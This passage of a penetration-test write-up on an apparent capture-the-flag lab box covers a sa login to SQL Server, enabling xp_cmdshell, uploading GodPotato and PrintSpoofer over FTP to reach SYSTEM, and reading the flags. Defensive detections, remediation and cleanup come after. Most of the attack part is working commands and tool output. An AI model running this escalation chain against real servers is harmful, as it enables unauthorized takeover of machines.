cd ../..; bin/kali tally "echo \"### control: sa with the old password from conn-info.txt\"; python3 /work/artifacts/25-sql.py 10.129.1.183 sa /work/loot/acct/conninfo.1.pw \"select 1\" 2>&1 | tail -4; echo \"### sa with the password from tester.exe\"; python3 /work/artifacts/25-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw \"select @@version\" \"select system_user as login, is_srvrolemember(\\\"sysadmin\\\") as sysadmin\" \"select name, cast(value_in_use as int) as in_use from sys.configurations where name in (\\\"xp_cmdshell\\\",\\\"show advanced options\\\")\" \"select name from sys.databases\" 2>&1"
### control: sa with the old password from conn-info.txt
login as sa: FAILED
### sa with the password from tester.exe
login as sa: ok
SQL> select @@version
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2016 (RTM) - 13.0.1601.5 (X64)
Apr 29 2016 23:23:58
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows Server 2016 Standard 6.3 <X64> (Build 14393: ) (Hypervisor)
SQL> select system_user as login, is_srvrolemember("sysadmin") as sysadmin
SQL> select name, cast(value_in_use as int) as in_use from sys.configurations where name in ("xp_cmdshell","show advanced options")
SQL> select name from sys.databases
name
------
master
tempdb
model
msdb
Two of the statements after @@version printed nothing. Their string
literals were in double quotes, which T-SQL reads as identifiers; my script
showed no error for them and I did not establish why. They are repeated
correctly in the next phase. The database list holds the four system
databases only: orcharddb, named in the connection string, is gone.
Phase 4: sa to command execution as Sarah
xp_cmdshell is off. sa is sysadmin, so two sp_configure calls turn it
on. Every later statements file repeats those four lines: I remembered from
old write-ups that this box turns the option back off, and repeated them as a
precaution before I had seen why. The statements file:
select system_user as login, is_srvrolemember('sysadmin') as sysadmin
select name, cast(value_in_use as int) as in_use from sys.configurations where name in ('xp_cmdshell','show advanced options')
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'whoami /all'
exec xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"'
exec xp_cmdshell 'dir /a /q C:\Users'
cd ../..; bin/kali tally "python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/26-enum.sql 2>&1"
login as sa: ok
SQL> select system_user as login, is_srvrolemember('sysadmin') as sysadmin
login sysadmin
----- --------
sa 1
SQL> select name, cast(value_in_use as int) as in_use from sys.configurations where name in ('xp_cmdshell','show advanced options')
name in_use
--------------------- ------
show advanced options 0
xp_cmdshell 0
SQL> exec sp_configure 'show advanced options', 1
SQL> reconfigure
SQL> exec sp_configure 'xp_cmdshell', 1
SQL> reconfigure
SQL> exec xp_cmdshell 'whoami /all'
output
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
NULL
USER INFORMATION
----------------
NULL
User Name SID
=========== =============================================
tally\sarah S-1-5-21-1971769256-327852233-3012798916-1000
[...]
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
[...]
SQL> exec xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"'
output
-----------------------------------------------------------------
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
System Type: x64-based PC
Hotfix(s): 2 Hotfix(s) Installed.
[...]
Commands run as tally\sarah, with
SeImpersonatePrivilege enabled, on build 14393 with two hotfixes. The user
flag is on her desktop. Its value goes to a file and is replaced on screen:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'dir /a /q C:\Users\Sarah\Desktop'
exec xp_cmdshell 'type C:\Users\Sarah\Desktop\user.txt'
cd ../..; bin/kali tally "umask 077; python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/27-desktop.sql > /work/loot/27-desktop.raw 2>&1; grep -o -E \"\\b[0-9a-f]{32}\\b\" /work/loot/27-desktop.raw | head -1 > /work/artifacts/user.txt; chmod 644 /work/artifacts/user.txt; sed -E \"s/\\b[0-9a-f]{32}\\b/<flag: 32 hex, saved to artifacts\\/user.txt>/\" /work/loot/27-desktop.raw | sed \"s/ *$//\"; echo user.txt bytes: \$(stat -c %s /work/artifacts/user.txt)"
login as sa: ok
SQL> exec sp_configure 'show advanced options', 1
SQL> reconfigure
SQL> exec sp_configure 'xp_cmdshell', 1
SQL> reconfigure
SQL> exec xp_cmdshell 'dir /a /q C:\Users\Sarah\Desktop'
output
----------------------------------------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is 8EB3-6DCB
NULL
Directory of C:\Users\Sarah\Desktop
NULL
24/11/2026 15:06 <DIR> TALLY\Sarah .
24/11/2026 15:06 <DIR> NT AUTHORITY\SYSTEM ..
01/10/2017 21:32 916 BUILTIN\Administrators browser.bat
31/08/2017 21:57 282 TALLY\Sarah desktop.ini
17/09/2017 20:50 845 BUILTIN\Administrators FTP.lnk
23/09/2017 20:11 297 TALLY\Sarah note to tim (draft).txt
19/10/2017 20:49 17,152 TALLY\Sarah SPBestWarmUp.ps1
19/10/2017 21:48 11,010 TALLY\Sarah SPBestWarmUp.xml
17/09/2017 20:48 1,914 BUILTIN\Administrators SQLCMD.lnk
20/09/2017 23:46 129 TALLY\Sarah todo.txt
24/11/2026 15:06 34 BUILTIN\Administrators user.txt
17/09/2017 20:49 936 BUILTIN\Administrators zz_Migration.lnk
10 File(s) 33,515 bytes
2 Dir(s) 2,900,668,416 bytes free
NULL
SQL> exec xp_cmdshell 'type C:\Users\Sarah\Desktop\user.txt'
output
--------------------------------
<flag: 32 hex, saved to artifacts/user.txt>
NULL
user.txt bytes: 33
Phase 5: Sarah to SYSTEM
The desktop also holds SPBestWarmUp.ps1, owned by Sarah, and the XML export
of a scheduled task. I read the export and the smaller files before choosing a
path; the script itself I read only after root. C:\FTP in this file was a
guess at the FTP root, which the dir confirmed:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'type "C:\Users\Sarah\Desktop\note to tim (draft).txt"'
exec xp_cmdshell 'type C:\Users\Sarah\Desktop\todo.txt'
exec xp_cmdshell 'type C:\Users\Sarah\Desktop\browser.bat'
exec xp_cmdshell 'type C:\Users\Sarah\Desktop\SPBestWarmUp.xml'
exec xp_cmdshell 'icacls C:\Users\Sarah\Desktop\SPBestWarmUp.ps1 C:\Users\Sarah\Desktop\SPBestWarmUp.xml'
exec xp_cmdshell 'dir /a C:\ C:\FTP'
exec xp_cmdshell 'icacls C:\FTP C:\FTP\Intranet'
exec xp_cmdshell 'reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release'
cd ../..; bin/kali tally "python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/28-desk.sql 2>&1 | sed \"s/ *$//\" | tee /work/loot/28-desk.raw | grep -v -E \"^(NULL|-+)$\" | cut -c1-230"
From the export:
[...]
<Principals>
<Principal id="Author">
<UserId>TALLY\Administrator</UserId>
<LogonType>Password</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
[...]
<Actions Context="Author">
<Exec>
<Command>PowerShell.exe</Command>
<Arguments>-ExecutionPolicy Bypass -File SPBestWarmUp.ps1 -skipadmincheck</Arguments>
<WorkingDirectory>C:\Users\Sarah\Desktop</WorkingDirectory>
</Exec>
</Actions>
[...]
A task that runs a script from Sarah’s desktop as TALLY\Administrator,
hourly by the triggers in the same file. That is a possible second route, with up to an
hour per attempt. SeImpersonate needs no wait, so it went first.
Delivery is FTP into C:\FTP\Intranet, and the same call showed .NET 4.6.2
is present (Release 0x60632). GodPotato was the first choice:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'dir C:\FTP\Intranet\gp.exe'
exec xp_cmdshell 'certutil -hashfile C:\FTP\Intranet\gp.exe SHA256'
exec xp_cmdshell 'C:\FTP\Intranet\gp.exe -cmd "whoami"'
ls -l ../../tools/windows/GodPotato-NET4.exe; sha256sum ../../tools/windows/GodPotato-NET4.exe; curl -s -S -m 60 -K loot/ftp.curl -T ../../tools/windows/GodPotato-NET4.exe ftp://10.129.1.183/Intranet/gp.exe; echo "ftp upload exit $?"; cd ../..; bin/kali tally "python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/29-potato.sql 2>&1 | sed \"s/ *$//\" | grep -v -E \"^(NULL|-+)$\""
[...]
9a8e9d587b570d4074f1c8317b163aa8d0c566efd88f294d9d85bc7776352a28 ../../tools/windows/GodPotato-NET4.exe
ftp upload exit 0
login as sa: ok
SQL> exec sp_configure 'show advanced options', 1
SQL> reconfigure
SQL> exec sp_configure 'xp_cmdshell', 1
SQL> reconfigure
SQL> exec xp_cmdshell 'dir C:\FTP\Intranet\gp.exe'
output
Volume in drive C has no label.
Volume Serial Number is 8EB3-6DCB
Directory of C:\FTP\Intranet
24/11/2026 17:37 57,344 gp.exe
1 File(s) 57,344 bytes
0 Dir(s) 2,908,659,712 bytes free
SQL> exec xp_cmdshell 'certutil -hashfile C:\FTP\Intranet\gp.exe SHA256'
output
SHA256 hash of file C:\FTP\Intranet\gp.exe:
9a 8e 9d 58 7b 57 0d 40 74 f1 c8 31 7b 16 3a a8 d0 c5 66 ef d8 8f 29 4d 9d 85 bc 77 76 35 2a 28
CertUtil: -hashfile command completed successfully.
SQL> exec xp_cmdshell 'C:\FTP\Intranet\gp.exe -cmd "whoami"'
output
[*] CombaseModule: 0x140732029992960
[*] DispatchTable: 0x140732031969760
[*] UseProtseqFunction: 0x140732031500080
[*] UseProtseqFunctionParamCount: 5
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\f4053419-329d-4cc7-a601-a2c103dd817b\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-0248-ffff-3d4f-0606fafab08b
[*] DCOM obj OXID: 0xd4ed5f817c30491d
[*] DCOM obj OID: 0x9e0a8c7353a7aa66
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] UnmarshalObject: 0x80070776
[!] Failed to impersonate security context token
The upload is intact (the hashes match) and the tool runs, but
UnmarshalObject returns 0x80070776, which is OR_INVALID_OXID, and no
token arrives. I did not find out why on this build and did not retry it. The
spooler route does not go through DCOM unmarshalling at all:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'sc query spooler'
exec xp_cmdshell 'certutil -hashfile C:\FTP\Intranet\ps.exe SHA256'
exec xp_cmdshell 'C:\FTP\Intranet\ps.exe -c "C:\Windows\System32\cmd.exe /c whoami > C:\FTP\Intranet\o.txt 2>&1"'
exec xp_cmdshell 'type C:\FTP\Intranet\o.txt'
ls -l ../../tools/windows/PrintSpoofer64.exe; sha256sum ../../tools/windows/PrintSpoofer64.exe; curl -s -S -m 60 -K loot/ftp.curl -T ../../tools/windows/PrintSpoofer64.exe ftp://10.129.1.183/Intranet/ps.exe; echo "ftp upload exit $?"; cd ../..; bin/kali tally "python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/30-spoofer.sql 2>&1 | sed \"s/ *$//\" | grep -v -E \"^(NULL|-+)$\""
[...]
8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d ../../tools/windows/PrintSpoofer64.exe
ftp upload exit 0
login as sa: ok
SQL> exec sp_configure 'show advanced options', 1
SQL> reconfigure
SQL> exec sp_configure 'xp_cmdshell', 1
SQL> reconfigure
SQL> exec xp_cmdshell 'sc query spooler'
output
SERVICE_NAME: spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
SQL> exec xp_cmdshell 'certutil -hashfile C:\FTP\Intranet\ps.exe SHA256'
output
SHA256 hash of file C:\FTP\Intranet\ps.exe:
85 24 fb c0 d7 3e 71 1e 69 d6 0c 64 f1 f1 b7 be f3 5c 98 67 05 88 06 43 dd 4d 5e 17 77 9e 58 6d
CertUtil: -hashfile command completed successfully.
SQL> exec xp_cmdshell 'C:\FTP\Intranet\ps.exe -c "C:\Windows\System32\cmd.exe /c whoami > C:\FTP\Intranet\o.txt 2>&1"'
output
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
SQL> exec xp_cmdshell 'type C:\FTP\Intranet\o.txt'
output
nt authority\system
The child is SYSTEM. It has no console that xp_cmdshell can read, so its
output goes to a file and the next statement reads the file.
For root I put everything I wanted into one batch file, uploaded it by FTP as
r.bat, and ran it once:
@echo off
echo ### whoami
whoami
echo ### administrator desktop
dir /a /q C:\Users\Administrator\Desktop
echo ### root.txt
type C:\Users\Administrator\Desktop\root.txt
echo ### service accounts
sc qc MSSQLSERVER
sc qc spooler
echo ### acl on the warm-up script and the ftp folder
icacls C:\Users\Sarah\Desktop\SPBestWarmUp.ps1
icacls C:\FTP\Intranet
echo ### scheduled tasks outside \Microsoft
schtasks /query /fo LIST /v | findstr /i /c:"TaskName:" /c:"Run As User:" /c:"Task To Run:" /c:"Next Run Time:" | findstr /v /i /c:"\Microsoft\\"
echo ### defender
powershell -nop -c "Get-MpComputerStatus | fl AMServiceEnabled,RealTimeProtectionEnabled,AntivirusSignatureLastUpdated,AMProductVersion"
echo ### applocker effective policy
powershell -nop -c "(Get-AppLockerPolicy -Effective).RuleCollections | %% { $_ | select Name,Action,@{n=\"Who\";e={$_.UserOrGroupSid}},@{n=\"Cond\";e={($_.PathConditions.Path -join \";\")+($_.HashConditions.Hashes.SourceFileName -join \";\")}} } | ft -auto | out-string -width 220"
echo ### hotfixes
wmic qfe get HotFixID,InstalledOn
echo ### end
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'C:\FTP\Intranet\ps.exe -c "C:\Windows\System32\cmd.exe /c C:\FTP\Intranet\r.bat > C:\FTP\Intranet\r.txt 2>&1"'
exec xp_cmdshell 'type C:\FTP\Intranet\r.txt'
select j.name as job, j.enabled, s.step_name, s.subsystem, s.command from msdb.dbo.sysjobs j join msdb.dbo.sysjobsteps s on s.job_id = j.job_id
curl -s -S -m 60 -K loot/ftp.curl -T artifacts/31-root.bat ftp://10.129.1.183/Intranet/r.bat; echo "ftp upload exit $?"; cd ../..; bin/kali tally "umask 077; python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/31-root.sql > /work/loot/31-root.raw 2>&1; awk \"/### root.txt/{f=1} f\" /work/loot/31-root.raw | grep -o -E \"\\b[0-9a-f]{32}\\b\" | head -1 > /work/artifacts/root.txt; chmod 644 /work/artifacts/root.txt; sed -E \"s/\\b[0-9a-f]{32}\\b/<flag: 32 hex, saved to artifacts\\/root.txt>/\" /work/loot/31-root.raw | sed \"s/ *$//\" | grep -v -E \"^(NULL|-+)$\" | cut -c1-240; echo root.txt bytes: \$(stat -c %s /work/artifacts/root.txt)"
[...]
SQL> exec xp_cmdshell 'C:\FTP\Intranet\ps.exe -c "C:\Windows\System32\cmd.exe /c C:\FTP\Intranet\r.bat > C:\FTP\Intranet\r.txt 2>&1"'
output
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
SQL> exec xp_cmdshell 'type C:\FTP\Intranet\r.txt'
output
### whoami
nt authority\system
### administrator desktop
Volume in drive C has no label.
Volume Serial Number is 8EB3-6DCB
Directory of C:\Users\Administrator\Desktop
10/19/2017 09:45 PM <DIR> BUILTIN\Administrators .
10/19/2017 09:45 PM <DIR> NT AUTHORITY\SYSTEM ..
08/30/2017 06:17 AM 282 BUILTIN\Administrators desktop.ini
11/24/2026 03:06 PM 34 BUILTIN\Administrators root.txt
2 File(s) 316 bytes
2 Dir(s) 2,908,438,528 bytes free
### root.txt
<flag: 32 hex, saved to artifacts/root.txt>
[...]
PrintSpoofer returns as soon as the child is created, so the type that
followed read a half-written file; I read it twice more for the rest. My
findstr filter for non-Microsoft tasks was also wrong and kept some 550 lines,
the warm-up task’s among them.
Post-Exploitation
The same batch explains why the last step worked. The SQL Server service account, and the ACL that made FTP a delivery channel into a directory Sarah can execute from:
[...]
SERVICE_NAME: MSSQLSERVER
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SQL Server (MSSQLSERVER)
DEPENDENCIES :
SERVICE_START_NAME : .\Sarah
[...]
### acl on the warm-up script and the ftp folder
C:\Users\Sarah\Desktop\SPBestWarmUp.ps1 NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
TALLY\Sarah:(F)
Successfully processed 1 files; Failed processing 0 files
C:\FTP\Intranet NT AUTHORITY\SYSTEM:(OI)(CI)(F)
TALLY\Administrator:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
TALLY\ftp_user:(OI)(CI)(M)
TALLY\Sarah:(OI)(CI)(RX)
[...]
ftp_user has Modify on C:\FTP\Intranet, Sarah can execute from it, and
Sarah has full control of a script in a task that runs as Administrator.
The box does try to defend itself. A SQL Agent job turns xp_cmdshell back
off. I saw it only here, after root; its schedule was not read and I never
observed a reset:
[...]
disable xp_cmdshell True disable xp_cmdshell TSQL if exists(
SELECT value
FROM sys.configurations
WHERE name = 'xp_cmdshell'
and value = 1
)
begin
WAITFOR DELAY '00:04:00';
exec sp_configure @configname='xp_cmdshell', @configvalue=0
exec sp_configure @configname='Show Advanced Options', @configvalue=0
reconfigure
end
go
The job waits four minutes and resets the option; it does nothing about the login that can set it again.
Defender is on, with signatures from 2017, and neither binary was removed
before it ran; I did not query its detection history. The rest of the batch,
read once it had finished. The first command saves the raw output, the second
prints it without the NUL bytes that made grep call it binary:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'type C:\FTP\Intranet\r.txt'
exec xp_cmdshell 'schtasks /query /fo CSV /v | findstr /i /v /c:"\Microsoft\\" | findstr /v /b /c:"\"HostName\""'
cd ../..; bin/kali tally "umask 077; python3 /work/artifacts/26-sql.py 10.129.1.183 sa /work/loot/acct/tester.1.pw /work/artifacts/33-rest.sql > /work/loot/33-rest.raw 2>&1; sed -E \"s/\\b[0-9a-f]{32}\\b/<flag: 32 hex>/\" /work/loot/33-rest.raw | sed \"s/ *$//\" | grep -v -E \"^(NULL|-+)$\" | awk \"/### defender/{f=1} f\" | cut -c1-600"
cd ../..; bin/kali tally "tr -d \"\\000\" < /work/loot/33-rest.raw | sed -E \"s/\\b[0-9a-f]{32}\\b/<flag: 32 hex>/\" | sed \"s/ *$//\" | grep -a -v -E \"^(NULL|-+)$\" | awk \"/### defender/{f=1} f\" | cut -c1-700"
### defender
AMServiceEnabled : True
RealTimeProtectionEnabled : True
AntivirusSignatureLastUpdated : 9/20/2017 5:27:45 PM
AMProductVersion : 4.10.14393.1066
### applocker effective policy
### hotfixes
HotFixID InstalledOn
KB3199986 11/21/2016
KB4015217 8/30/2017
### end
SQL> exec xp_cmdshell 'schtasks /query /fo CSV /v | findstr /i /v /c:"\Microsoft\\" | findstr /v /b /c:"\"HostName\""'
output
"TALLY","\User_Feed_Synchronization-{6D2F90E6-5056-4C0B-B01A-C56D10102BFD}","24/11/2026 21:45:16","Ready","Interactive only","24/11/2026 15:09:32","0","TALLY\Sarah","C:\Windows\system32\msfeedssync.exe sync","N/A","Updates out-of-date system feeds.","Enab
led","Disabled","","Sarah","Disabled","72:00:00","Scheduling data is not available in this format.","Daily ","N/A","N/A","N/A","Every 1 day(s)","N/A","Disabled","Disabled","Disabled","Disabled"
The AppLocker section is empty, which I do not read as “no policy”: the
heavily quoted PowerShell line may have printed nothing for its own reasons.
A note on Sarah’s desktop says she has restricted where cmd.exe may
run (the line is cut at 230 columns in my capture); I did not test a copy elsewhere. The warm-up task is invisible to
Sarah’s token (the CSV row is all she sees), so I queried it as SYSTEM:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', 1
reconfigure
exec xp_cmdshell 'C:\FTP\Intranet\ps.exe -c "C:\Windows\System32\cmd.exe /c schtasks /query /fo LIST /v /tn SPBestWarmUp > C:\FTP\Intranet\t.txt 2>&1"'
exec xp_cmdshell 'ping -n 8 127.0.0.1 > nul'
exec xp_cmdshell 'type C:\FTP\Intranet\t.txt'
[...]
TaskName: \SPBestWarmUp
Next Run Time: 11/24/2026 6:00:00 PM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/24/2026 5:09:32 PM
Last Result: -2147020576
Author: N/A
Task To Run: PowerShell.exe -ExecutionPolicy Bypass -File SPBestWarmUp.ps1 -skipadmincheck
Start In: C:\Users\Sarah\Desktop
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrator
[...]
Next run at 18:00 box time, as Administrator, working directory Sarah’s
desktop. The last result is -2147020576 (0x800710E0, the request was
refused) from a run at 5:09 PM, off the hour, so the most recent run did not
succeed and whether the task would run an added line is open. I did not
exercise this path. Appending a line and waiting for the hour is the check.
There is a third route that I also left alone. browser.bat:
[...]
SQL> exec xp_cmdshell 'type C:\Users\Sarah\Desktop\browser.bat'
output
del C:\Users\Sarah\Desktop\session_id.txt
REM output current session information to file
qwinsta | findstr ">" > C:\Users\Sarah\Desktop\session_id.txt
REM query file for session id
FOR /F "tokens=3" %%a IN (C:\Users\Sarah\Desktop\session_id.txt) DO SET sessionid=%%a
del C:\Users\Sarah\Desktop\session_id.txt
REM only if console user, enter loop
if %sessionid% EQU 1 goto LOOP
if %sessionid% GTR 1 goto EXIT
:LOOP
REM kill any open instances of firefox and crashreporter
taskkill /F /IM firefox.exe > nul 2>&1
taskkill /F /IM crashreporter.exe > nul 2>&1
REM copy latest mockups to webroot
copy /Y C:\FTP\Intranet\index.html C:\inetpub\wwwroot\HRTJYKYRBSHYJ\index.html
REM browse file
start "" "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe" "http://127.0.0.1:81/HRTJYKYRBSHYJ/index.html"
REM wait
ping 127.0.0.1 -n 80 > nul
if not ErrorLevel 1 goto :LOOP
:EXIT
exit
[...]
In the console session, a loop copies C:\FTP\Intranet\index.html into a
web root and opens it in Firefox every 80 pings; the FTP tree has
Firefox Setup 44.0.2.exe (the installed version was not read). Whoever
holds ftp_user controls a page that browser loads as Sarah. I did not write
to index.html or test a browser exploit.
Cleanup: the six files I had placed in C:\FTP\Intranet were deleted over
FTP, the directory listed from both sides, and xp_cmdshell set back to 0:
exec xp_cmdshell 'dir /a C:\FTP\Intranet'
exec sp_configure 'xp_cmdshell', 0
reconfigure
exec sp_configure 'show advanced options', 0
reconfigure
select name, cast(value_in_use as int) as in_use from sys.configurations where name in ('xp_cmdshell','show advanced options')
[...]
### cleanup over FTP as ftp_user
DELE Intranet/gp.exe exit 0
DELE Intranet/ps.exe exit 0
DELE Intranet/r.bat exit 0
DELE Intranet/r.txt exit 0
DELE Intranet/o.txt exit 0
DELE Intranet/t.txt exit 0
### Intranet after cleanup
09-11-17 09:25PM <DIR> Binaries
login as sa: ok
SQL> exec xp_cmdshell 'dir /a C:\FTP\Intranet'
output
Volume in drive C has no label.
Volume Serial Number is 8EB3-6DCB
Directory of C:\FTP\Intranet
24/11/2026 17:39 <DIR> .
24/11/2026 17:39 <DIR> ..
11/09/2017 21:25 <DIR> Binaries
0 File(s) 0 bytes
3 Dir(s) 2,912,251,904 bytes free
SQL> exec sp_configure 'xp_cmdshell', 0
SQL> reconfigure
SQL> exec sp_configure 'show advanced options', 0
SQL> reconfigure
SQL> select name, cast(value_in_use as int) as in_use from sys.configurations where name in ('xp_cmdshell','show advanced options')
name in_use
--------------------- ------
show advanced options 0
xp_cmdshell 0
Defensive Analysis
None of the detections below was tested on the box; each names the log that would carry it.
Anonymous SharePoint enumeration. The IIS log shows 1,706 requests in
about four minutes from one address with no authenticated user name. A request
for /_layouts/15/viewlsts.aspx with an empty cs-username is a single-line
alert on any SharePoint site that is not meant to be public.
FTP. The FTP log records ftp_user retrieving tim.kdbx, and later
executables stored into Intranet, a folder meant for one HTML file.
SMB. Event 4624 type 3 for Finance from a new source, then 5145 for
tester.exe and conn-info.txt if detailed file share auditing is on.
SQL Server. An sa login from another host is the alert, but only if
login auditing records successes: the default records failures only, and I did
not read this instance’s setting. sp_configure changes are written to the SQL error log (“Configuration
option ‘xp_cmdshell’ changed from 0 to 1”). The Agent job that resets the
option had that information and raised nothing.
Privilege escalation. With process creation auditing (4688) or Sysmon
event 1: sqlservr.exe spawning cmd.exe, an executable run from
C:\FTP\Intranet, and a SYSTEM cmd.exe whose parent is Sarah’s process.
Remediation
In the order the chain used them; none was applied to the box.
- Turn off anonymous access on the SharePoint site. Check with an unauthenticated request for
/_layouts/15/viewlsts.aspx: it should return 401. - Remove
ftp-details.docx, rotate the FTP password, and give each FTP user an account with an isolated home directory. - Rotate everything in
tim.kdbx, give it a long random master password, and keep it off shared storage. - Delete
tester.exeandconn-info.txt, and rotatesa. Better: disable thesalogin, give the application a login with rights on its own database only, and use Windows authentication so no password is in a connection string. - Run SQL Server as a virtual or managed service account, not a named user with a profile. Every service keeps SeImpersonate; this removes Sarah’s files and task from what a SQL compromise reaches.
- Disable the print spooler on a server that prints nothing.
sc query spoolershould report STOPPED. This removes the trigger used here, not the privilege. - Move
SPBestWarmUp.ps1to a directory only administrators can write, stop the loop that opens FTP-supplied HTML in a browser, and restrict 1433.
Key Takeaways
- Four passwords, each stored where the previous one could read it. The one
rotation on record (the old
sapassword does fail) left the current value in a binary on the same share. - Code execution as a Windows service account should be assumed to be SYSTEM. A potato that fails has failed on its trigger: GodPotato’s DCOM route errored on build 14393, and the spooler route worked next.